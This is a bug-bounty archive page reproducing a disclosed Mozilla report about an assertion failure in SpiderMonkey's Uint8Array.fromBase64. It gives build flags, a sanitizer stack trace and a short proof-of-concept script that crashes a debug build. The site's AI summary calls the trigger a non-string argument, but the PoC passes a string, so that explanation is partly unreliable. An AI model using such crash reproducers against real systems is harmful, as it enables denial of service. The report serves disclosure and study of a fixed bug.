Skip to content
DoS Disclosed report Intermediate

Assertion failure: result.index <= linear->length(), at js/src/vm/TypedArrayObject.cpp:5220 [OOBR]

A debug assertion in SpiderMonkey's Uint8Array.fromBase64 implementation fails when the function is called with a non-string argument, causing the engine to abort. An attacker able to run JavaScript in the affected engine could crash it, but the report shows only a denial of service in a debug build.

Nan Wang Follow

Originally disclosed on Mozilla

  • Fixed in 41 hours
  • Paid in 15 days
  • Disclosed after 41 hours

Reproduce

  1. Clone the Firefox mirror from https://github.com/mozilla-firefox/firefox

  2. Run build command in the js/src directory of the firefox checkout:

    Bash
    mkdir fuzzbuild_OPT.OBJ && cd fuzzbuild_OPT.OBJ && ../configure --enable-address-sanitizer --disable-jemalloc --enable-debug --enable-optimize --disable-shared-js --enable-application=js --enable-gczeal && make -j64
    
  3. Run poc: fuzzbuild_OPT.OBJ/dist/bin/js poc.js

Test SpiderMonkey commit hash: 75f89f7dee3f30c371af717da54ba8bbf046e5fd

Crash Stack Trace

--------------------------------------------------------------------------------
[1706037] Assertion failure: result.index <= linear->length(), at /home/sakura/gecko-dev/js/src/vm/TypedArrayObject.cpp:5220
#01: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x256e4e2]
#02: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1e01e8f]
#03: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1e01453]
#04: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1e18331]
#05: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1e00353]
#06: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1e04b91]
#07: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1e053cd]
#08: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1fe9eea]
#09: JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>)[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1fea140]
#10: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1d5d6ad]
#11: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1d5ca16]
#12: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1cc2b6a]
#13: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1cb64a8]
#14: ???[/lib/x86_64-linux-gnu/libc.so.6 +0x29d90]
#15: __libc_start_main[/lib/x86_64-linux-gnu/libc.so.6 +0x29e40]
#16: ???[/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js +0x1c76dd9]
#17: ??? (???:???)
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==1706037==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5589a68f44fa bp 0x7ffd013fbca0 sp 0x7ffd013fbb90 T1706037)
==1706037==The signal is caused by a WRITE memory access.
==1706037==Hint: address points to the zero page.
#0 0x5589a68f44fa in MOZ_CrashSequence(void*, long) /home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/include/mozilla/Assertions.h:237:3
#1 0x5589a68f44fa in uint8array_fromBase64(JSContext*, unsigned int, JS::Value*) /home/sakura/gecko-dev/js/src/vm/TypedArrayObject.cpp:5220:3
#2 0x5589a6187e8e in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:490:13
#3 0x5589a6187452 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:586:12
#4 0x5589a619e330 in js::CallFromStack(JSContext*, JS::CallArgs const&, js::CallReason) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:658:10
#5 0x5589a619e330 in js::Interpret(JSContext*, js::RunState&) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:3276:16
#6 0x5589a6186352 in js::RunScript(JSContext*, js::RunState&) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:460:13
#7 0x5589a618ab90 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, js::AbstractFramePtr, JS::MutableHandle<JS::Value>) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:851:13
#8 0x5589a618b3cc in js::Execute(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::MutableHandle<JS::Value>) /home/sakura/gecko-dev/js/src/vm/Interpreter.cpp:884:10
#9 0x5589a636fee9 in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::MutableHandle<JS::Value>) /home/sakura/gecko-dev/js/src/vm/CompilationAndEvaluation.cpp:548:10
#10 0x5589a637013f in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>) /home/sakura/gecko-dev/js/src/vm/CompilationAndEvaluation.cpp:572:10
#11 0x5589a60e36ac in RunFile(JSContext*, char const*, _IO_FILE*, CompileUtf8, bool, bool) /home/sakura/gecko-dev/js/src/shell/js.cpp:1315:10
#12 0x5589a60e2a15 in Process(JSContext*, char const*, bool, FileKind) /home/sakura/gecko-dev/js/src/shell/js.cpp:2106:14
#13 0x5589a6048b69 in ProcessArgs(JSContext*, js::cli::OptionParser*) /home/sakura/gecko-dev/js/src/shell/js.cpp:12051:10
#14 0x5589a6048b69 in Shell(JSContext*, js::cli::OptionParser*) /home/sakura/gecko-dev/js/src/shell/js.cpp:12305:12
#15 0x5589a603c4a7 in main /home/sakura/gecko-dev/js/src/shell/js.cpp:12708:12
#16 0x7f4ec2a29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#17 0x7f4ec2a29e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#18 0x5589a5ffcdd8 in _start (/home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/bin/js+0x1c76dd8) (BuildId: aa541a5979c2c6bc3b0eca2fc9cd1eb3)

==1706037==Register values:
rax = 0x0000000000000000  rbx = 0x00007f4ec273c200  rcx = 0x0000000000001464  rdx = 0x00007f4ec2c1b723
rdi = 0x00007f4ec2c1ca60  rsi = 0x0000000000000000  rbp = 0x00007ffd013fbca0  rsp = 0x00007ffd013fbb90
r8 = 0x0000000000000000   r9 = 0x0000000000000003  r10 = 0x00005589a86cb070  r11 = 0x0000000000000293
r12 = 0x0000000000000000  r13 = 0x00007ffd013fbbc0  r14 = 0x00007f4ec275a0a8  r15 = 0x0000251e73b62100
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /home/sakura/gecko-dev/js/src/fuzzbuild_OPT.OBJ/dist/include/mozilla/Assertions.h:237:3 in MOZ_CrashSequence(void*, long)
==1706037==ABORTING



================================================================================

PoC

JavaScript
try {
  var v3 = 'No error';
} catch (e) {}
v9 = v3;
try {
  Uint8Array.fromBase64(v9);
} catch (e) {}
function fn4() {}
// Flags: 

The original report as published on Mozilla's Bugzilla, by Nan Wang. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the fromBase64 implementation assumes its argument is a string and does not validate the type before computing an index into the decoded buffer.

Impact

The engine crashes (denial of service) in a debug build; the report does not show memory corruption or code execution in release builds.

What the attacker needed

Ability to run JavaScript in the engine; debug build with assertions enabled

How it was found

  1. Build the JavaScript shell from the Firefox source with the given configure flags.
  2. Run the shell binary against the proof-of-concept script.
  3. The shell aborts on the assertion in the typed array code.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SpiderMonkey is the JavaScript engine inside Firefox. A debug build contains extra checks that stop the program when something unexpected happens. Here, calling a new built-in function with the wrong kind of input tripped one of those checks and the engine crashed instead of handling the bad input gracefully.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Nan Wang

View all

13 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.